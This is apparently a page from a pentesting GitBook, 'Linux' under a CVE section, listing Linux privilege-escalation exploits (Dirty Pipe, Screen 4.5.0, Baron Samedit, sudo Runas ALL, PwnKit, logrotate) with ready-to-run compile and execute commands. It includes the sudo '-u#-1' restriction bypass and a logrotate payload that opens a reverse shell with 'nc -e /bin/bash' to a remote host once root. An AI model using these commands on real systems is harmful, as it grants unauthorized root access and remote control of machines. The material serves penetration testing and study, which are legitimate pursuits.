Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Index
  • Dirty Pipe
  • Screen 4.5.0
  • Sudo - Baron Samedit
  • Sudo - Runas ALL
  • PwnKit - Polkit
  • Logrotate

Was this helpful?

  1. Pentesting Process
  2. CVE

Linux

Last updated 3 months ago

Was this helpful?

Index

Name
CVE
Exploit

/

Dirty Pipe

kernel from 5.8 to 5.17

sudo apt-get install gcc
chmod +x compile.sh
./compile.sh
./exploit-1
# change the root password in the /etc/passwd file and get an elevated shell.

Screen 4.5.0

chmod +x 41154.sh
./41154.sh

Sudo - Baron Samedit

Sudo - Runas ALL

Exploiting the bug requires that the user have sudo privileges that allow them to run commands with an arbitrary user ID. Typically, this means that the user’s sudoers entry has the special value ALL in the Runas specifier.

ex. alice myhost = (ALL) /usr/bin/id

If a sudoers entry is written to allow the user to run a command as any user except root, the bug can be used to avoid this restriction.

ex. bob myhost = (ALL, !root) /usr/bin/vi

sudo -u#-1 vi
sudo -u#4294967295 vi

PwnKit - Polkit

pkexec --version
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc

Logrotate

You have to find log files on which logrotate is run and on which you have write permissions. Then run exploit on the writable log file.

gcc -o logrotten logrotten.c

Prepare payload

echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

If "create"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile /tmp/log/pwnme.log

If "compress"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

sudo 1.8.21 | 1.8.31 | 1.8.27 | 1.9.2 | other

sudo < 1.8.28

/ Polkit < 0.105-26

Logrotate 3.8.6 | 3.11.0 | 3.15.0 | 3.18.0

Exploit
Exploit
Exploit
Exploit
Exploit1
Exploit2
Exploit
Dirty Pipe
CVE-2022-0847
Exploit
Screen 4.5.0
CVE-2017-5618
Exploit
Sudo - Baron Samedit
CVE-2021-3156
Exploit
Sudo - Runas ALL
CVE-2019-14287
Exploit
PwnKit -Polkit
CVE-2021-4034
Exploit
Logrotate
Exploit